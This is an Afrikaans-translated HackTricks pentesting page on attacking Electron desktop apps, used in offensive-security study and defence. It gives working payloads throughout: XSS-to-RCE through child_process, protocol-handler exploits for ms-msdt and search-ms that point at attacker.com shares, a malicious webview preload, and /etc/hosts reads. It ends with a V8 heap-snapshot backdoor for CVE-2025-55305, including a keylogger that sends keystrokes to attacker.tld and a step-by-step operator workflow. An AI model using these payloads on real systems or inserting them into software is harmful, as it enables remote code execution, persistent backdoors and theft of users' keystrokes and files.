563 lines
29 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron Bureaublad-apps
{{#include ../../../banners/hacktricks-training.md}}
## Inleiding
Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit 'n paar van die sekuriteitsmeganismes van moderne blaaiers ontbreek.
Gewoonlik sal jy die Electron app code binne 'n `.asar`-toepassing vind; om die code te verkry moet jy dit onttrek:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
In die bronkode van n Electron-app, binne `packet.json`, kan jy die gespesifiseerde `main.js`-lêer vind waarin sekuriteitskonfigurasies gestel is.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron het 2 proses-tipes:
- Main Process (het volle toegang tot NodeJS)
- Renderer Process (moet beperkte NodeJS-toegang hê vir sekuriteitsredes)
![](<../../../images/image (182).png>)
'n **renderer process** sal 'n blaaiervenster wees wat 'n lêer laai:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Instellings van die **renderer process** kan in die **main process** binne die main.js-lêer **gekonfigureer** word. Sommige van die konfigurasies sal **voorkom dat die Electron application RCE kry** of ander kwesbaarhede as die **instellings korrek gekonfigureer** is.
Die Electron application **kan toegang tot die toestel kry** via Node apis alhoewel dit gekonfigureer kan word om dit te voorkom:
- **`nodeIntegration`** - is `off` standaard. As dit aan is, laat dit toe om toegang te kry tot Node-funksies vanaf die renderer process.
- **`contextIsolation`** - is `on` standaard. If `off`, main and renderer processes aren't isolated.
- **`preload`** - leeg standaard.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is `off` standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - is `off` standaard.
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
Example of configuration:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Sommige **RCE payloads** van [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Vang verkeer
Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy by, soos:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer arbitrêre javascript code. Kyk hoe in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript Node.js-funksies maklik gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc toepassing op Windows uit te voer is:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
Die skrip wat in hierdie instelling aangedui word, word **gelaai voor ander skripte in die renderer**, sodat dit **onbeperkte toegang tot Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Daarom kan die skrip node-features na bladsye uitvoer:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **As `contextIsolation` aangeskakel is, sal dit nie werk nie**
## RCE: XSS + contextIsolation
Die _**contextIsolation**_ skep geskeide kontekste tussen die webblad-skripte en die JavaScript van Electron se interne kode, sodat die uitvoering van die JavaScript-kode van elk mekaar nie beïnvloed nie. Dit is 'n noodsaaklike funksie om die moontlikheid van RCE uit te skakel.
As die kontekste nie geïsoleer is nie kan 'n aanvaller:
1. Voer **willekeurige JavaScript in die renderer uit** (XSS of navigasie na eksterne webwerwe)
2. **Oorskryf die ingeboude metode** wat in preload of Electron se interne kode gebruik word om die funksie oor te neem
3. **Activeer** die gebruik van die **oorskryfde funksie**
4. RCE?
Daar is 2 plekke waar ingeboude metodes oorskryf kan word: In preload-kode of in Electron se interne kode:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Klik-gebeurtenis omseil
As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dit dalk omseil deur **met die middelknoppie te klik** in plaas van 'n gewone linkerklik
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Vir meer inligting oor hierdie voorbeelde, sien [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Wanneer 'n Electron desktop application uitgerol word, is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Dit is gevestig dat **client-side remote code execution (RCE)** wat gemik is op preload scripts of Electron se native code vanaf die main process effektief voorkom word met hierdie instellings in plek.
Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke event listeners geaktiveer, wat vir die toepassing se sekuriteit en funksionaliteit kritiek is:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Hierdie luisteraars word deur die desktop-toepassing **oorskryf** om sy eie **bedryfslogika** te implementeer. Die toepassing bepaal of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word gewoonlik geneem deur 'n funksie, `openInternally`. As hierdie funksie `false` teruggee, dui dit aan dat die skakel eksterne geopen moet word, deur gebruik te maak van die `shell.openExternal` funksie.
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS beste sekuriteitspraktyke waarsku daarteen om onbetroubare inhoud met die `openExternal` funksie te aanvaar, aangesien dit tot RCE deur verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan mens na [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows-protokol-voorbeelde bevat wat hierdie kwesbaarheid kan uitbuit.
In macos kan die `openExternal` funksie misbruik word om arbitrêre opdragte uit te voer, soos in `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Voorbeelde van Windows-protokol-uitbuiting sluit in:**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Hierdie kwesbaarheid kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer process** toelaat, wat gedeaktiveer behoort te word aangesien dit toelaat om 'n skrip binne die preload context te laai soos:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Dus kan 'n aanvaller wat daarin slaag om 'n willekeurige bladsy te laai daardie tag gebruik om **load an arbitrary preload script**.
Hierdie preload script is toe misbruik om 'n oproep te maak na 'n **vulnerable IPC service (`skype-new-window`)** wat **`shell.openExternal`** aangeroep het om RCE te kry:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Lees van Interne Lêers: XSS + contextIsolation
**Om `contextIsolation` uit te skakel maak die gebruik van `<webview>` tags moontlik**, soortgelyk aan `<iframe>`, vir die lees en exfiltrating van plaaslike lêers. n Voorbeeld toon hoe om hierdie kwesbaarheid te exploit om die inhoud van interne lêers te lees:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Verder word nog n metode gedeel om **n interne lêer te lees**, wat n kritieke local file read kwesbaarheid in n Electron desktop app uitlig. Dit behels die injectering van n script om die toepassing te exploit en data te exfiltrate:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + Ou chromium**
Indien die **chromium** wat deur die toepassing gebruik word **oud** en daar **bekende** **vulnerabilities** daarop is, kan dit moontlik wees om dit te **exploit** en RCE te bekom deur 'n XSS.
Jy kan 'n voorbeeld sien in hierdie **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Interne URL regex bypass**
As jy 'n XSS gevind het maar jy **kan nie RCE trigger of interne lêers steel nie**, kan jy probeer om dit te gebruik om **credentials via phishing** te steel.
Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL oop te maak, deur die JS-kode in die front-end na te gaan:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Die oproep na **`openInternally`** sal besluit of die **link** sal **opened** in die **desktop window** wees aangesien dit 'n link is wat aan die platform behoort, **or** of dit in die **browser as a 3rd party resource** geopen sal word.
In die geval dat die **regex** wat deur die funksie gebruik word **vulnerable to bypasses** (byvoorbeeld deur **not escaping the dots of subdomains**) kan 'n aanvaller die XSS misbruik om **open a new window which** in die aanvaller se infrastruktuur te plaas en die gebruiker **asking for credentials**:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protokol
Soos in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) genoem, het bladsye wat op **`file://`** loop eenzijdige toegang tot elke lêer op jou masjien, wat beteken dat **XSS issues can be used to load arbitrary files** vanaf die gebruiker se masjien. Deur 'n **aangepaste protokol** te gebruik, voorkom jy sulke probleme aangesien jy die protokol kan beperk tot slegs die bedien van 'n spesifieke stel lêers.
## Remote module
Die Electron Remote module laat **renderer processes to access main process APIs**, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Om hierdie module aan te skakel bring egter beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanvaloppervlak en maak dit meer vatbaar vir kwesbaarhede soos cross-site scripting (XSS) attacks.
> [!TIP]
> Alhoewel die **remote** module sekere APIs van main na renderer processes blootstel, is dit nie eenvoudig om slegs deur die misbruik van die komponente RCE te kry nie. Die komponente kan egter sensitiewe inligting openbaar.
> [!WARNING]
> Baie apps wat steeds die remote module gebruik, doen dit op 'n wyse wat vereis dat **NodeIntegration geaktiveer word** in die renderer process, wat 'n **enorme sekuriteitsrisiko** is.
Sedert Electron 14 kan die `remote` module van Electron in verskeie stappe geaktiveer word; weens sekuriteit- en prestasie-redes word dit **aanbeveel om dit nie te gebruik nie**.
Om dit te aktiveer, moet dit eers in die main process geaktiveer word:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Dan kan die renderer-proses voorwerpe uit die module invoer soos:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
Die **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** dui op 'n paar interessante **funksies** wat deur die objek **`app`** van die remote module blootgestel word:
- **`app.relaunch([options])`**
- **Herbegin** die toepassing deur die **huidige instansie te sluit** en 'n **nuwe een te begin**. Nuttig vir **app updates** of beduidende **toestandveranderinge**.
- **`app.setAppLogsPath([path])`**
- **Bepaal** of **skep** 'n gids vir die stoor van **app logs**. Die logs kan **opgehaal** of **gewysig** word deur gebruik te maak van **`app.getPath()`** of **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registreer** die huidige uitvoerbare lêer as die **standaardhanteraar** vir 'n gespesifiseerde **protokol**. Jy kan 'n **aangepaste pad** en **argumente** verskaf indien nodig.
- **`app.setUserTasks(tasks)`**
- **Voeg** take by die **Tasks category** in die **Jump List** (op Windows). Elke taak kan beheer hoe die app **gestart** word of watter **argumente** deurgegee word.
- **`app.importCertificate(options, callback)`**
- **Importeer** 'n **PKCS#12-sertifikaat** in die stelsel se **sertifikaatwinkel** (slegs Linux). 'n **callback** kan gebruik word om die resultaat te hanteer.
- **`app.moveToApplicationsFolder([options])`**
- **Skuif** die toepassing na die **Applications folder** (op macOS). Dit help om 'n **standaardinstallasie** vir Mac-gebruikers te verseker.
- **`app.setJumpList(categories)`**
- **Stel** of **verwyder** 'n **pasgemaakte Jump List** op **Windows**. Jy kan **kategorieë** spesifiseer om te organiseer hoe take aan die gebruiker verskyn.
- **`app.setLoginItemSettings(settings)`**
- **Konfigureer** watter **uitvoerbare lêers** by **aanmelding** begin saam met hul **opsies** (slegs macOS en Windows).
Voorbeeld:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
Die **primêre API** om toegang te kry tot stelselvoorkeure en **stelselgebeurtenisse uit te stuur** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
**Voorbeeldgebruik:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Luister** na **inheemse macOS-kennisgewings** met NSDistributedNotificationCenter.
* Voor **macOS Catalina** kon jy **alle** verspreide kennisgewings aftap deur **nil** aan CFNotificationCenterAddObserver te gee.
* Na **Catalina / Big Sur** kan sandboxed apps steeds **inskryf** op **baie gebeure** (bv. **skerm sluit/opsluit**, **volume mounts**, **network activity**, ens.) deur kennisgewings **per naam** te registreer.
### **getUserDefault / setUserDefault**
* **Koppel aan** **NSUserDefaults**, wat **application** of **global** voorkeure op macOS stoor.
* **getUserDefault** kan sensitiewe inligting **ophaal**, soos **onlangse lêerliggings** of die **gebruiker se geografiese ligging**.
* **setUserDefault** kan hierdie voorkeure **wysig**, wat moontlik 'n app se **konfigurasie** beïnvloed.
* In **oudere Electron weergawes** (voor v8.3.0) was slegs die **standaard-suite** van NSUserDefaults **toeganklik**.
## Shell.showItemInFolder
Hierdie funksie wys die gegewe lêer in 'n lêerbestuurder, wat **outomaties die lêer kan uitvoer**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps behoort 'n **Content Security Policy (CSP)** te hê om **XSS attacks** te **voorkom**. Die **CSP** is 'n **sekuriteitsstandaard** wat help om die **uitvoering** van **onbetroubare kode** in die blaaier te **voorkom**.
Dit word gewoonlik in die **`main.js`** lêer of in die **`index.html`** sjabloon gekonfigureer met die CSP binne 'n **meta tag**.
For more information check:
{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is 'n hulpmiddel om miskonfigurasies en sekuriteits-anti-patrone in Electron-gebaseerde toepassings te identifiseer.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is 'n open source VS Code plugin vir Electron-toepassings wat Electronegativity gebruik.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) om kwesbare derdeparty-biblioteke te kontroleer
- [**Electro.ng**](https://electro.ng/): Jy moet dit koop
## Labs
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy 'n lab vind om kwesbare Electron-apps te exploit.
Sommige opdragte wat jou in die lab sal help:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## Lokale backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron- en Chromium-gebaseerde apps deserialiseer 'n voorafgeboude V8 heap snapshot tydens opstart (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) om elke V8 isolate (main, preload, renderer) te inisialiseer. Histories het Electrons integrity fuses hierdie snapshots nie as uitvoerbare inhoud beskou nie, sodat hulle beide fuse-based integrity enforcement en OS code-signing checks omseil het. Gevolglik het die vervanging van die snapshot in 'n user-writable installasie onopvallende, persistente code execution binne die app moontlik gemaak sonder om die gesigneerde binaries of ASAR te wysig.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (voer verskillende kode uit in main vs. renderer)
- Main process detection: Node-only globals soos process.pid, process.binding(), of process.dlopen is beskikbaar in die main process isolate.
- Browser/renderer detection: Browser-only globals soos alert is beskikbaar wanneer dit in 'n dokumentkonteks uitgevoer word.
Voorbeeld-gadget wat eenmalig main-process Node-capabilities ondersoek
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
Renderer/browser-context datadiefstal PoC (bv. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
Operateur-werksvloei
1) Skryf payload.js wat 'n algemene ingeboude funksie oorskryf (bv. Array.isArray) en opsioneel per isolate vertakkings implementeer.
2) Bou die snapshot sonder Chromium-bronne:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Oorskryf die snapshot-lêer(s) van die teiken-toepassing:
- v8_context_snapshot.bin (altyd gebruik)
- browser_v8_context_snapshot.bin (indien die LoadBrowserProcessSpecificV8Snapshot fuse gebruik word)
4) Begin die toepassing; die gadget word uitgevoer elke keer as die gekose ingeboude funksie gebruik word.
Aantekeninge en oorwegings
- Integriteit/handtekening-omseiling: Snapshot-lêers word nie deur code-signing kontroles as native uitvoerbare lêers beskou nie en (histories) is hulle nie deur Electron se fuses of Chromium-integriteitskontroles gedek nie.
- Persistensie: Deur die snapshot in 'n gebruiker-skryfbare installasie te vervang oorleef dit tipies app-herstartings en lyk dit soos 'n ondertekende, legitieme app.
- Chromium-blaaiers: Dieselfde manipulasie-konsep is van toepassing op Chrome/derivatives wat in gebruiker-skryfbare lokasies geïnstalleer is. Chrome het ander integriteitsmitigerings maar sluit fisies plaaslike aanvalle eksplisiet uit sy bedreigingsmodel.
Opsporing en mitigasies
- Behandel snapshots as uitvoerbare inhoud en sluit hulle in by integriteitsafdwinging (CVE-2025-55305 fix).
- Gee voorkeur aan installasie-lokasies wat slegs admin-skryfbaar is; stel 'n basislyn vas en monitor hashes vir v8_context_snapshot.bin en browser_v8_context_snapshot.bin.
- Detecteer vroeë-runtime ingeboude oorskrywing en onverwagte snapshot-wijzigings; waarsku wanneer gedeserialiseerde snapshots nie by die verwagte waardes pas nie.
## **Verwysings**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}